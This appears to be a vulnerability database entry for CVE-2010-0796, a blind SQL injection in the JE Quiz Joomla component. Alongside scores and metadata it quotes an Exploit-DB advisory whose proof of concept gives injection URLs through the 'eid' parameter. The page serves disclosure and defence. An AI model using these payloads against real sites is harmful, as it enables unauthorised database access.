CVE-2010-0796

high

Published 2010-03-02 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in the JE Quiz (com_jequizmanagement) component 1.b01 for Joomla! allows remote attackers to execute arbitrary SQL commands via the eid parameter in a question action to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11287 webapps php verified text · 1 KB

B-HUNT3|2 · 2010-01-29

Joomla! Component JE Quiz - 'eid' Blind SQL Injection

text exploit Source: Exploit-DB

[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: $20.00

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163

[~]>> {RETURN TRUE::RETURN FALSE}

[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163
[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...

Application impact

Vendor	Product	Versions	Fixed
harmistechnology	com_jeeventcalendar	`1.0`
joomla	joomla\!

References

CWEs

CWE-89

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Verify integrity in audit chain (admin only). AS-IS.